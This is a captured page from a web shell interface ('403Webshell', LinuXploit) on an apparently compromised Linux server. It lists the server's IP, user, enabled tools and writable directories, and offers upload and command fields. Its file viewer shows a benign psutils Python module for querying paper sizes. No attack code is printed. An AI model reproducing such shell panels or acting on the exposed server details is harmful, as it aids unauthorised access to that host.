403Webshell
Server IP : 37.9.174.138  /  Your IP : 216.73.216.117
Web Server : Apache
System : Linux vps6.backend.sk 6.12.100+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.100-1 (2026-07-30) x86_64
User : ftpuser ( 1001)
PHP Version : 8.4.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/psutils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/psutils/libpaper.py
"""
PSUtils libpaper interface.
Copyright (c) Reuben Thomas 2023.
Released under the GPL version 3, or (at your option) any later version.
"""

import os
import subprocess
import re
from typing import List, Optional

from .types import Rectangle
from .warnings import die


# Get the size of the given paper, or the default paper if no argument given.
def paper(cmd: List[str], silent: bool = False) -> Optional[str]:
    cmd.insert(0, "paper")
    try:
        out = subprocess.check_output(
            cmd,
            stderr=subprocess.DEVNULL if silent else None,
            text=True,
            env=dict(os.environ, LC_NUMERIC="C"),
        )
        return out.rstrip()
    except subprocess.CalledProcessError:
        return None
    except:  # pylint: disable=bare-except
        die("could not run `paper' command")


def get_paper_size(paper_name: Optional[str] = None) -> Optional[Rectangle]:
    if paper_name is None:
        paper_name = paper(["--no-size"])
    dimensions: Optional[str] = None
    if paper_name is not None:
        dimensions = paper(["--unit=pt", paper_name], True)
    if dimensions is None:
        return None
    m = re.search(" ([.0-9]+)x([.0-9]+) pt$", dimensions)
    assert m
    w, h = float(m[1]), float(m[2])
    return Rectangle(round(w), round(h))  # round dimensions to nearest point

Youez - 2016 - github.com/yon3zu
LinuXploit